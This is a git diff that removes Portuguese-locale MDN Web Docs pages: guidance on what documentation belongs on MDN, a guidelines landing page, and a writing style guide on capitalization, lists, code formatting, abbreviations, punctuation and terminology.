- <li>Technology that is not exposed to the Web and is specific to a non-Mozilla browser.</li>
- <li>Technology that is not related to the Web or Mozilla products.</li>
- <li>Documentation for end-users; for Mozilla products, such documentation belongs on the <a href="https://support.mozilla.org">Mozilla support site</a>.</li>
-</ul>
-
-<h2 id="Que_tipos_de_documentos_pertencem_à_MDN">Que tipos de documentos pertencem à MDN?</h2>
-
-<p>In general, MDN is for <em>product</em> documentation, not for <em>project</em> or <em>process</em> documentation (except <a href="/en-US/docs/MDN">about MDN itself</a>). So, if the document is about "how to use a thing" or "how a thing works" (where the "thing" is in one of the topic categories mentioned above), then it can go on MDN. But if it about "who's working on developing a thing" or "plans for developing a thing", then it shouldn't go on MDN. In that case, if the thing is being developed under the umbrella of Mozilla, then the <a href="https://wiki.mozilla.org/Main_Page">Mozilla project wiki</a> may be a good place for it.</p>
-
-<p>Here are some examples of types of documents that should <em>not</em> be placed on MDN<strong>:</strong></p>
-
-<ul>
- <li>Planning documents</li>
- <li>Design documents</li>
- <li>Project proposals</li>
- <li>Specifications or standards</li>
- <li>Promotional material, advertising, or personal information{{ref("*")}}</li>
-</ul>
-
-<h2 id="Vantagens_para_documentar_na_MDN">Vantagens para documentar na MDN</h2>
-
-<p>If you've determined that the documentation you want to write is appropriate in content and type for MDN, but you're still not sure whether MDN is the best place for it, read on.  There are a lot of good reasons to create documentation on MDN.</p>
-
-<h3 id="Muitos_escritores_e_tradutores">Muitos escritores e tradutores</h3>
-
-<p>The MDN community is big. We have a lot of people that participate in creating and maintaining content on MDN. With writers and editors on every continent (okay, maybe not Antarctica, but otherwise), there's a lot of value to the sheer volume of writers:</p>
-
-<ul>
- <li>We have a paid staff of writers whose <strong>mission</strong> is to make sure that our content is as good as possible.</li>
- <li>We have a core community of volunteers who contribute substantial amounts of content and can help you.</li>
- <li>The MDN team can work with you to ensure that your documentation project is adequately staffed.</li>
- <li>The broader MDN community also contributes enormously, from typo fixes to editorial reviews of your content.</li>
- <li>The <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs chat room</a> offers a resource where you can talk to our writing community and get their advice, or recruit help with the production of or maintenance of your content.</li>
- <li>Because we have contributors all over the world, there's always someone around, watching for problems and fixing them.</li>
- <li>Our community of volunteers includes translators for many languages, who can help localize your documentation.</li>
-</ul>
-
-<p>Do you want your development team to be entirely responsible for the production of documentation? That's likely if your documentation is maintained elsewhere.</p>
-
-<h3 id="Manutenção">Manutenção</h3>
-
-<p>Because of the sheer number of contributors, there's usually someone on hand to watch for problems with your content: from spam control to copy-editing, things can happen around the clock. Here's just a taste of what our team can do:</p>
-
-<dl>
- <dt>Delete spam</dt>
- <dd>Spam happens. We deal with it.</dd>
- <dt>Copy editing</dt>
- <dd>You don't have to worry if your writing isn't as clear or precise as you'd like. We'll turn your prose into something other people can read.</dd>
- <dt>Consistency of style</dt>
- <dd>We'll ensure that your content is stylistically consistent not just within itself, but with the other documentation around it.</dd>
- <dt>Content management</dt>
- <dd>Our team will help ensure that the documentation is cross-linked with other relevant materials, that articles are put in the right places, and that menus and other infrastructure is built to make it easy to follow and understand.</dd>
- <dt>Site and platform maintenance</dt>
- <dd>MDN has both an IT team which keeps the site up, running, and secure, and a platform development team to maintain and enhance the platform on which the content is presented. You won't need to devote your own or additional resources to documentation infrastructure.</dd>
-</dl>
-
-<h2 id="Casos_para_documentação_em_qualquer_outra_parte">Casos para documentação em qualquer outra parte</h2>
-
-<p>There are also a few reasons you may be thinking about documenting your work somewhere other than MDN. Here are some of those reasons, and the pros and cons for each.</p>
-
-<h3 id="Planos_e_processos">Planos e processos</h3>
-
-<p>Documentation for plans, processes, and proposals should never be put on MDN. That's pretty simple. If your project is part of Mozilla, you can put them on the <a href="https://wiki.mozilla.org/Main_Page">Mozilla project wiki</a>.</p>
-
-<h3 id="O_projeto_está_no_GitHub">O projeto está no GitHub</h3>
-
-<p>Some of Mozilla's projects are hosted on GitHub, and GitHub offers its own wiki-like system for documentation. Some teams like to produce their documentation there. This is certainly fair and convenient if you're game to write your own docs; however, keep in mind that:</p>
-
-<ul>
- <li>The MDN Web Docs team will probably not be able to help you. We don't generally participate in documentation work off MDN Web Docs; there are exceptions but they are exceptionally rare.</li>
- <li>Cross-linking your documentation with other relevant materials may be difficult or impossible.</li>
- <li>The content will not have consistent style with other documentation.</li>
- <li>Your documentation loses discoverability by not being among other (Web or Mozilla) documentation.</li>
-</ul>
-
-<p>It's possible, of course, that these things don't bother you, or aren't a problem in your situation. Some teams don't mind writing and maintaining their own docs, or are working on code that has minimal documentation needs.</p>
-
-<h3 id="Quer_manter_os_documentos_na_fonte">Quer manter os documentos na fonte</h3>
-
-<p>Some teams like to have their documentation in the source tree. This is particularly common with project internals and library projects.</p>
-
-<p>This approach has a couple of advantages:</p>
-
-<ul>
- <li>It lets the developers document their technology as they code it, helping to ensure that the docs stay up to date with the code.</li>
- <li>Docs can be subject to the same development and release processes as the code, including versioning.</li>
-</ul>
-
-<p>There are some drawbacks:</p>
-
-<ul>
- <li>The MDN Web Docs team can't help you; even if the code is within Mozilla's source repository, the system of reviews and check-ins make it impractical for the docs team to participate.</li>
- <li>You don't have easy tools for cross-linking with other relevant documentation. Cross-linking provides both context and additional important information to your readers.</li>
- <li>Your documentation loses discoverability by not being among other documentation.</li>
- <li>Even if you use conversion tools (like JavaDoc) to create Web-readable documentation, it won't be as attractive as what we can do on MDN Web Docs.</li>
-</ul>
-
-<p>Still, this can be a viable option (possibly even a good option) for some types of projects, especially small ones or those that aren't expected to get much interest.</p>
-
-<p>{{endnote("*")}} It's OK to put a limited amount of personal information on your MDN profile page. User profiles should reflect a human being, not a business or organization. A moderate degree of self-promotion is OK, but link-spamming is not. Please <em>do not </em>use your profile to upload personal photos or other irrelevant files.</p>
diff --git a/files/pt-pt/mdn/guidelines/index.html b/files/pt-pt/mdn/guidelines/index.html
deleted file mode 100644
index e4e220f1f4..0000000000
--- a/files/pt-pt/mdn/guidelines/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: Linhas Diretrizes
-slug: MDN/Guidelines
-translation_of: MDN/Guidelines
----
-<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p><span class="seoSummary">Estas </span>linhas diretrizes <span class="seoSummary">proporcionam detalhes em como é que a documentação da MDN deverá ser escrita e formatada, bem como, é que deverá ser apresentado as nossas amostras de código e outro conteúdo.</span> Ao seguir esta orientação, pode certificar-se de que o material que produz é simples e fácil de utilziar.</p>
-
-<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pt-pt/mdn/guidelines/writing_style_guide/index.html b/files/pt-pt/mdn/guidelines/writing_style_guide/index.html
deleted file mode 100644
index 5cf076f6f5..0000000000
--- a/files/pt-pt/mdn/guidelines/writing_style_guide/index.html
+++ /dev/null
@@ -1,668 +0,0 @@
----
-title: Guia de estilo de escrita
-slug: MDN/Guidelines/Writing_style_guide
-tags:
- - Documentação
- - Guia(2)
- - Linhas Diretrizes
- - MDN
- - Metadados MDN
-translation_of: MDN/Guidelines/Writing_style_guide
-original_slug: MDN/Guidelines/Guia_de_estilo_de_escrita
----
-<div>{{MDNSidebar}}</div>
-
-<p><span class="seoSummary">To present documentation in an organized, standardized, and easy-to-read manner, the MDN Web Docs style guide describes how text should be organized, spelled, formatted, and so on. These are guidelines rather than strict rules.</span> We are more interested in content than formatting, so don't feel obligated to learn the style guide before contributing. Do not be upset or surprised, however, if an industrious volunteer later edits your work to conform to this guide.</p>
-
-<p>If you're looking for specifics of how a given type of page should be structured, see the <a href="/en-US/docs/MDN/Contribute/Content/Layout">MDN page layout guide</a>.</p>
-
-<p>The language aspects of this guide apply primarily to English-language documentation. Other languages may have (and are welcome to create) style guides. These should be published as subpages of the localization team's page.</p>
-
-<p>For style standards that apply to content written for sites other than MDN, refer to the <a href="https://www.mozilla.org/en-US/styleguide/" title="https://www.mozilla.org/en-US/styleguide/">One Mozilla style guide</a>.</p>
-
-<h2 id="Básico">Básico</h2>
-
-<p>The best place to start in any extensive publishing style guide is with some very basic text standards to help keep documentation consistent. The following sections outline some of these basics to help you.</p>
-
-<h3 id="Page_titles">Page titles</h3>
-
-<p>Page titles are used in search results and also used to structure the page hierarchy in the breadcrumb list at the top of the page. The page title (which is displayed at the top of the page and in the search results) can be different from the page "slug", which is the portion of the page's URL following "<em>&lt;locale&gt;/docs/</em>".</p>
-
-<h4 id="Title_and_heading_capitalization">Title and heading capitalization</h4>
-
-<p>Page titles and section headings should use sentence-style capitalization (only capitalize the first word and proper nouns) rather than headline-style capitalization:</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: "A new method for creating JavaScript rollovers"</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: "A New Method for Creating JavaScript Rollovers"</li>
-</ul>
-
-<p>We have many older pages that were written before this style rule was established. Feel free to update them as needed if you like. We're gradually getting to them.</p>
-
-<h4 id="Choosing_titles_and_slugs">Choosing titles and slugs</h4>
-
-<p>Page slugs should be kept short; when creating a new level of hierarchy, the new level's component in the slug should just be a word or two.</p>
-
-<p>Page titles, on the other hand, may be as long as you like, within reason, and they should be descriptive.</p>
-
-<h4 id="Creating_new_subtrees">Creating new subtrees</h4>
-
-<p>When you need to add some articles about a topic or subject area, you will typically do so by creating a landing page, then adding subpages for each of the individual articles. The landing page should open with a paragraph or two describing the topic or technology, then provide a list of the subpages with descriptions of each page. You can automate the insertion of pages into the list using some macros we've created.</p>
-
-<p>For example, consider the <a href="/en-US/docs/Web/JavaScript">JavaScript</a> guide, which is structured as follows:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/JavaScript/Guide" title="JavaScript/Guide">JavaScript/Guide</a> - Main table-of-contents page</li>
- <li><a href="/en-US/docs/Web/JavaScript/Guide/JavaScript_Overview" title="JavaScript/Guide/JavaScript_Overview">JavaScript/Guide/JavaScript Overview</a></li>
- <li><a href="/en-US/docs/JavaScript/Guide/Functions" title="JavaScript/Guide/Functions">JavaScript/Guide/Functions</a></li>
- <li><a href="/en-US/docs/JavaScript/Guide/Details_of_the_Object_Model" title="JavaScript/Guide/Details_of_the_Object_Model">JavaScript/Guide/Details of the Object Model</a></li>
-</ul>
-
-<p>Try to avoid putting your article at the top of the hierarchy, which slows the site down and makes search and site navigation less effective.</p>
-
-<h3 id="Sections_paragraphs_and_newlines">Sections, paragraphs, and newlines</h3>
-
-<p>Use heading levels in decreasing order: {{HTMLElement("h2")}} then {{HTMLElement("h3")}} then {{HTMLElement("h4")}}, without skipping levels. H2 is the highest level allowed because H1 is reserved for the page title. If you need more than three or four levels of headers you should consider breaking up the article into several smaller articles with a landing page, linking them together using the {{TemplateLink("Next")}}, {{TemplateLink("Previous")}}, and {{TemplateLink("PreviousNext")}} macros.</p>
-
-<p>The Enter (or Return) key on your keyboard starts a new paragraph. To insert a newline without a space, hold down the Shift key while pressing Enter.</p>
-
-<p>Don't create single subsections -- you don't subdivide a topic into one. It's either two subheadings or more or none at all. </p>
-
-<p>Don't have bumping heads, which are headings followed immediately by headings. Aside from looking horrible, it's helpful to readers if every heading has at least a brief intro after it to introduce the subsections beneath.</p>
-
-<h3 id="Listas">Listas</h3>
-
-<p>Lists should be written in a similar format across all contributions. Correct procedures should include suitable punctuation and sentence structure regardless of the list format. However dependent on the type of list you are writing, you must adjust your format accordingly. Refer to the documentation below to understand the differences of each.</p>
-
-<h4 id="Bulleted_Lists">Bulleted Lists</h4>
-
-<p>Bulleted lists should be used for grouping purposes to create concise but effective pieces of information. Each new piece of information must start with a '•' to signify a new piece. Bulleted lists must follow standard punctuation usage, pay attention to the use of full stops; they must be included at the end of each sentence just like standard writing practice.</p>
-
-<p>An example of a correctly structured bulleted list:</p>
-
-<blockquote>
-<p><em>In this example we should include:</em></p>
-
-<ul>
- <li><em>A condition, with a brief explanation.</em></li>
- <li><em>A similar condition, with a brief explanation.</em></li>
- <li>
- <p><em>Yet another condition, some further explanation.</em></p>
- </li>
-</ul>
-</blockquote>
-
-<p>Note how the format remains the same from bullet to bullet. Create a bullet point, state a condition that has relevence to your indented topic and add some pausing punctuation in order to follow up the condition with a concise explanation.</p>
-
-<h4 id="Listas_Numeradas">Listas Numeradas</h4>
-
-<p>Instruction lists must follow suitable numbering and format. It is important to include these attributes as with instructions, being clear is a key priority. Create the list in a similar style to a bulleted list, however numbered or instruction lists can be extensive where necessary, meaning correct punctuation is vital as you will be forming complex sentences.</p>
-
-<p>An example of a correctly structured numbered list:</p>
-
-<blockquote>
-<p><em>In order for you to structure a correct numbered list you must:</em></p>
-
-<p><em>1. Begin with creating an introductory heading to lead into the instructions. This way we can provide the user with context before beginning the instructions.</em></p>
-
-<p><em>2. Start creating your instructions, listing your instructions with numbers. This is a standard format of a numbered list that is easily recognizable by the user. Your instructions may be quite extensive, so it is important to write effectively and use correct punctuation where necessary.</em></p>
-
-<p><em>3. After you have finished your instructions, close off the numbered list with a brief explanation of the outcome upon completion.</em></p>
-
-<p><em>This is an example of writing your closing explanation. We have created a short numbered list which provides instructive steps to produce a numbered list with the correct formatting. </em></p>
-</blockquote>
-
-<p>Numbered lists are almost exclusive for instructive purposes, so before writing consider your approach based on the context of the information you are trying to relay.  </p>
-
-<h3 id="Formatação_e_estilo_do_texto">Formatação e estilo do texto</h3>
-
-<p>Use the "Formatting Styles" drop-down list to apply predefined styles to selected content.</p>
-
-<div class="note">The "Note" style is used to call out important notes, like this one.</div>
-
-<div class="warning">Similarly, the "Warning" style creates warning boxes like this.</div>
-
-<p>Unless specifically instructed to do so, <strong>do not</strong> use the HTML <code>style</code> attribute to manually style content. If you can't do it using a predefined class, drop into {{IRCLink("mdn")}} and ask for help.</p>
-
-<h3 id="Code_sample_style_and_formatting">Code sample style and formatting</h3>
-
-<h4 id="Tabs_and_line_breaks">Tabs and line breaks</h4>
-
-<p>Use two spaces per tab in all code examples. Indent the code cleanly, with open-brace ("{") characters on the same line as the statement that opens the block. For example:</p>
-
-<pre class="brush: js notranslate">if (condition) {
- /* handle the condition */
-} else {
- /* handle the "else" case */
-}
-</pre>
-
-<p>Long lines shouldn't be allowed to stretch off horizontally to the extent that they require horizontal scrolling to read. Instead, break at natural breaking points. Some examples follow:</p>
-
-<pre class="brush: js notranslate">if (class.CONDITION || class.OTHER_CONDITION || class.SOME_OTHER_CONDITION
- || class.YET_ANOTHER_CONDITION ) {
- /* something */
-}
-
-var toolkitProfileService = Components.classes["@mozilla.org/toolkit/profile-service;1"]
- .createInstance(Components.interfaces.nsIToolkitProfileService);
-</pre>
-
-<h4 id="Inline_code_formatting">Inline code formatting</h4>
-
-<p>Use the "Code" button (labeled with two angle brackets "&lt;&gt;") to apply inline code-style formatting to function names, variable names, and method names (this uses the {{HTMLElement("code")}} element). For example, "the <code class="js plain">frenchText()</code> function".</p>
-
-<p>Method names should be followed by a pair of parentheses: <code>doSomethingUseful()</code>. The parentheses help differentiate methods from other code terms.</p>
-
-<h4 id="Syntax_highlighting">Syntax highlighting</h4>
-
-<p><img alt="Screenshot of the 'Syntax Highlighter' menu." src="https://mdn.mozillademos.org/files/12682/Language%20list.png" style="border-style: solid; border-width: 1px; float: right; margin: 2px 4px;">Entire lines (or multiple lines) of code should be formatted using syntax highlighting rather than the {{HTMLElement("code")}} element. Select the appropriate language from the language list button (the one with the two code blocks), as seen in the screenshot to the right. This will insert a preformatted code box with line numbers and syntax highlighting for the chosen language.</p>
-
-<p>The following example shows text with JavaScript formatting:</p>
-
-<div class="line number2 index1 alt1">
-<pre class="brush: js notranslate">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
- document.writeln("a[" + i + "][" + j + "]= " + a[i][j]);</pre>
-</div>
-
-<p>If no appropriate language is available, use ("No Highlight" in the language menu). This will result in code without syntax highlighting:</p>
-
-<pre class="brush: plain notranslate">x = 42;</pre>
-
-<h4 id="Syntax_definitions">Syntax definitions</h4>
-
-<p>If you want to insert a syntax definition, you can choose the "Syntax Box" option from the "Styles" drop-down menu in the editor toolbar. This will give the syntax definition a special formatting distinguishing it from normal code.</p>
-
-<h4 id="Blocks_not_referring_to_code">Blocks not referring to code</h4>
-
-<p>There are a few use cases where a &lt;pre&gt; block does not refer to code and doesn't have syntax highlighting nor line numbers. In such cases you should add a &lt;pre&gt; without class. Those cases include things like tree structures:</p>
-
-<pre class="notranslate">root/
-
- folder1/
- file1
-
- folder2/
- file2
- file3
-</pre>
-
-<p>To create preformatted content without syntax highlighting and line numbers click the "pre" button in the toolbar. Then start to type the text.</p>
-
-<h4 id="Styling_HTML_element_references">Styling HTML element references</h4>
-
-<p>There are specific rules to follow when writing about HTML elements. These rules produce consistent descriptions of elements and their components. They also ensure correct linking to detailed documentation.</p>
-
-<dl>
- <dt>Element names</dt>
- <dd>Use the {{TemplateLink("HTMLElement")}} macro, which creates a link to the page for that element. For example, writing \{{HTMLElement("title")}} produces "{{HTMLElement("title")}}". If you don't want to create a link, <strong>enclose the name in angle brackets</strong> and use "Code (inline)" style (e.g., <code>&lt;title&gt;</code>).</dd>
- <dt>Attribute names</dt>
- <dd>Use <strong>bold face</strong>.</dd>
- <dt>Attribute definitions</dt>
- <dd>Use the {{TemplateLink("htmlattrdef")}} macro (e.g., <span class="nowiki">\{{htmlattrdef("type")}}</span>) for the definition term, so that it can be linked to from other pages, then use the {{TemplateLink("htmlattrxref")}} macro (e.g., <span class="nowiki">\{{htmlattrxref("attr","element")}}</span>) to reference attribute definitions.</dd>
- <dt>Attribute values</dt>
- <dd>Use "Code (inline)" style, and do not use quotation marks around strings, unless needed by the syntax of a code sample. For example: When the <strong>type</strong> attribute of an <code>&lt;input&gt;</code> element is set to <code>email</code> or <code>tel</code> ...</dd>
- <dt>Labeling attributes</dt>
- <dd>Use labels like {{HTMLVersionInline(5)}} thoughtfully. For example, use them next to the bold attribute name but not for every occurrence in your body text.</dd>
-</dl>
-
-<h3 id="Latin_abbreviations">Latin abbreviations</h3>
-
-<h4 id="In_notes_and_parentheses">In notes and parentheses</h4>
-
-<ul>
- <li>Common Latin abbreviations (etc., i.e., e.g.) may be used in parenthetical expressions and notes. Use periods in these abbreviations, followed by a comma or other appropriate punctuation.
- <ul>
- <li><span class="correct"><strong>Correct</strong></span>: Web browsers (e.g., Firefox) can be used ...</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, e.g. Firefox, can be used ...</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers, (eg: Firefox) can be used ...</li>
- </ul>
- </li>
-</ul>
-
-<h4 id="In_running_text">In running text</h4>
-
-<ul>
- <li>In regular text (i.e., text outside of notes or parentheses), use the English equivalent of the abbreviation.
- <ul>
- <li><span class="correct"><strong>Correct</strong></span>: ... web browsers, and so on.</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: ... web browsers, etc.</li>
- <li><span class="correct"><strong>Correct</strong></span>: Web browsers such as Firefox can be used ...</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: Web browsers e.g. Firefox can be used ...</li>
- </ul>
- </li>
-</ul>
-
-<h4 id="Meanings_and_English_equivalents_of_Latin_abbreviations">Meanings and English equivalents of Latin abbreviations</h4>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>Abbrev</th>
- <th>Latin</th>
- <th>English</th>
- </tr>
- <tr>
- <td>cf.</td>
- <td><em>confer</em></td>
- <td>compare</td>
- </tr>
- <tr>
- <td>e.g.</td>
- <td><em>exempli gratia</em></td>
- <td>for example</td>
- </tr>
- <tr>
- <td>et al.</td>
- <td><em>et alii</em></td>
- <td>and others</td>
- </tr>
- <tr>
- <td>etc.</td>
- <td><em>et cetera</em></td>
- <td>and so forth, and so on</td>
- </tr>
- <tr>
- <td>i.e.</td>
- <td><em>id est</em></td>
- <td>that is, in other words</td>
- </tr>
- <tr>
- <td>N.B.</td>
- <td><em>nota bene</em></td>
- <td>note well</td>
- </tr>
- <tr>
- <td>P.S.</td>
- <td><em>post scriptum</em></td>
- <td>postscript</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p>Always consider whether it's truly beneficial to use a Latin abbreviation. Some of these are used so rarely that many readers won't understand the meaning, and others are often confused with one another. And be sure that <strong>you</strong> use them correctly, if you choose to do so. For example, be careful not to confuse "e.g." with "i.e.", which is a common error.</p>
-</div>
-
-<h3 id="Acronyms_and_abbreviations">Acronyms and abbreviations</h3>
-
-<h4 id="Capitalization_and_periods">Capitalization and periods</h4>
-
-<p>Use full capitals and delete periods in all acronyms and abbreviations, including organizations such as "US" and "UN".</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: XUL</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: X.U.L.; Xul</li>
-</ul>
-
-<h4 id="Expansion">Expansion</h4>
-
-<p>On the first mention of a term on a page, expand acronyms likely to be unfamiliar to users. When in doubt, expand it, or, better, link it to the article or <a href="/en-US/docs/Glossary">glossary</a> entry describing the technology.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: "XUL (XML User Interface Language) is Mozilla's XML-based language..."</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: "XUL is Mozilla's XML-based language..."</li>
-</ul>
-
-<h4 id="Plurals_of_acronyms_and_abbreviations">Plurals of acronyms and abbreviations</h4>
-
-<p>For plurals of acronyms or abbreviations, add <em>s</em>. Don't use an apostrophe. Ever. Please.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: CD-ROMs</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: CD-ROM's</li>
-</ul>
-
-<h4 id="Versus_vs._and_v.">"Versus", "vs.", and "v."</h4>
-
-<p>The contraction "vs." is preferred.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: this vs. that</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: this v. that</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: this versus that</li>
-</ul>
-
-<h3 id="Capitalização">Capitalização</h3>
-
-<p>Use standard English capitalization rules in body text, and capitalize "World Wide Web." It is acceptable to use lower case for "web" (used alone or as a modifier) and "internet;" this guideline is a change from a previous version of this guide, so you may find many instances of "Web" and "Internet" on MDN.  Feel free to change these as you are making other changes, but editing an article just to change capitalization is not necessary.</p>
-
-<p>Keyboard keys should use sentence-style capitalization, not all-caps capitalization. For example, "Enter" not "ENTER."</p>
-
-<h3 id="Contrações">Contrações</h3>
-
-<p>Our writing style tends to be casual, so you should feel free to use contractions (e.g., "don't", "can't", "shouldn't") if you prefer.</p>
-
-<h3 id="Pluralização">Pluralização</h3>
-
-<p>Use English-style plurals, not the Latin- or Greek-influenced forms.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: syllabuses, octopuses</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: syllabi, octopi</li>
-</ul>
-
-<h3 id="Hifenização">Hifenização</h3>
-
-<p>Hyphenate compounds when the last letter of the prefix is a vowel and is the same as the first letter of the root.</p>
-
-<ul>
- <li><font color="green"><strong>Correct</strong></font>: email, re-elect, co-op</li>
- <li><font color="red"><strong>Incorrect</strong></font>: e-mail, reelect, coop</li>
-</ul>
-
-<h3 id="Idioma_de_género_neutral">Idioma de género neutral</h3>
-
-<p>It is a good idea to use gender-neutral language in any writing where gender is irrelevant to the subject matter, to make the text as inclusive as possible. So for example, if you are talking about the actions of a specific man, usage of he/his would be fine, but if the subject is a person of either gender, he/his isn't appropriate.<br>
- <br>
- Let's take the following example:</p>
-
-<blockquote>
-<p>A confirmation dialog appears, asking the user if he allows the Web page to make use of his Web cam.</p>
-</blockquote>
-
-<blockquote>
-<p>A confirmation dialog appears, asking the user if she allows the Web page to make use of her Web cam.</p>
-</blockquote>
-
-<p>Both versions are gender-specific. To fix this, use gender-neutral pronouns:</p>
-
-<blockquote>
-<p>A confirmation dialog appears, asking the user if they allow the Web page to make use of their Web cam.</p>
-</blockquote>
-
-<div class="note">
-<p>MDN allows the use of this very common syntax (which is controversial among usage authorities), to make up for the lack of a neutral gender in English. The use of the third-person plural as a gender neutral pronoun (that is, using "they," them", "their," and "theirs") is an accepted practice, commonly known as "<a href="https://en.wikipedia.org/wiki/Singular_they">singular 'they.'</a>"</p>
-</div>
-
-<p>You can use both genders:</p>
-
-<blockquote>
-<p>A confirmation dialog appears, asking the user if he or she allows the web page to make use of his/her web cam.</p>
-</blockquote>
-
-<p>making the users plural:</p>
-
-<blockquote>
-<p>A confirmation dialog appears, asking the users if they allow the web page to make use of their web cams.</p>
-</blockquote>
-
-<p>The best solution, of course, is to rewrite and eliminate the pronouns:</p>
-
-<blockquote>
-<p>A confirmation dialog appears, requesting the user's permission for web cam access.</p>
-</blockquote>
-
-<blockquote>
-<p>A confirmation dialog box appears, which asks the user for permission to use the web cam.</p>
-</blockquote>
-
-<p>The last way of dealing with the problem is arguably better, as it is not only grammatically more correct but removes some of the complexity associated with dealing with genders across different languages that may have wildly varying gender rules. This solution can make translation easier for both readers and localizers.</p>
-
-<h3 id="Numbers_and_numerals">Numbers and numerals</h3>
-
-<h4 id="Dates">Dates</h4>
-
-<p>For dates (not including dates in code samples) use the format "January 1, 1990".</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: February 24, 2006</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: February 24th, 2006; 24 February, 2006; 24/02/2006</li>
-</ul>
-
-<p>Alternately, you can use the YYYY/MM/DD format.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: 2006/02/24</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: 02/24/2006; 24/02/2006; 02/24/06</li>
-</ul>
-
-<h4 id="Decades">Decades</h4>
-
-<p>For decades, use the format "1990s". Don't use an apostrophe.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: 1990s</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: 1990's</li>
-</ul>
-
-<h4 id="Plurals_of_numerals">Plurals of numerals</h4>
-
-<p>For plurals of numerals add "s". Don't use an apostrophe.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: 486s</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: 486's</li>
-</ul>
-
-<h4 id="Commas">Commas</h4>
-
-<p>In running text, use commas only in five-digit and larger numbers.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: 4000; 54,000</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: 4,000; 54000</li>
-</ul>
-
-<h3 id="Punctuation">Punctuation</h3>
-
-<h4 id="Serial_comma">Serial comma</h4>
-
-<p><strong>Use the serial comma</strong>. The serial (also known as "Oxford") comma is the comma that appears before the conjunction in a series of three or more items.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: I will travel on trains, planes, and automobiles.</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: I will travel on trains, planes and automobiles.</li>
-</ul>
-
-<div class="note">
-<p>This is in contrast to the <a href="https://www.mozilla.org/en-US/styleguide/" title="https://www.mozilla.org/en-US/styleguide/">One Mozilla style guide</a>, which specifies that the serial comma is not to be used. MDN is an exception to this rule.</p>
-</div>
-
-<h3 id="Ortografia">Ortografia</h3>
-
-<p>For words with variant spellings, always use their American English spelling. In general, use the first entry at <a href="http://www.dictionary.com/">Dictionary.com</a>, unless that entry is listed as a variant spelling or as being primarily used in a non-American form of English; for example, if you <a href="http://dictionary.reference.com/browse/honour">look up "honour"</a>, you find the phrase "Chiefly British" followed by a link to the American standard form, "<a href="http://dictionary.reference.com/browse/honor">honor</a>". Do not use variant spellings.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: localize, honor</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: localise, honour</li>
-</ul>
-
-<h3 id="Terminologia">Terminologia</h3>
-
-<h4 id="Obsolete_vs._deprecated">Obsolete vs. deprecated</h4>
-
-<p>It's important to be clear about the difference between the terms <strong>obsolete</strong> and <strong>deprecated</strong>.</p>
-
-<dl>
- <dt>Obsolete</dt>
- <dd>On MDN, the term <strong>obsolete</strong> marks an API or technology that is not only no longer recommended, but also no longer implemented in the browser. For Mozilla-specific technologies, the API is no longer implemented in Mozilla code; for Web standard technology, the API or feature is no longer supported by current, commonly-used browsers.</dd>
- <dt>Deprecated</dt>
- <dd>On MDN, the term <strong>deprecated</strong> marks an API or technology that is no longer recommended, but is still implemented and may still work. These technologies will in theory eventually become <em>obsolete</em> and be removed, so you should stop using them. For Mozilla-specific technologies, the API is still supported in Mozilla code; for Web standard technology, the API or feature has been removed or replaced in a recent version of the defining standard.</dd>
-</dl>
-
-<h4 id="Elementos_de_HTML">Elementos de HTML</h4>
-
-<p>Use "elements" to refer to HTML and XML elements, rather than "tags". In addition, they should almost always be wrapped in "&lt;&gt;", and should be in the {{HTMLElement("code")}} style. When you reference a given element for the first time in a section, you should use the {{TemplateLink("HTMLElement")}} macro to create a link to the documentation for the element (unless you're writing within that element's reference document page).</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: the {{HTMLElement("span")}} element</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: the span tag</li>
-</ul>
-
-<h4 id="Parameters_vs._arguments">Parameters vs. arguments</h4>
-
-<p>The preferred term on MDN is <strong>parameters</strong>. Please avoid the term "arguments" for consistency if at all possible.</p>
-
-<h4 id="User_interface_actions">User interface actions</h4>
-
-<p>In task sequences, describe user interface actions using the imperative mood. Identify the user interface element by its label and type.</p>
-
-<ul>
- <li><span class="correct"><strong>Correct</strong></span>: Click the Edit button.</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: Click Edit.</li>
-</ul>
-
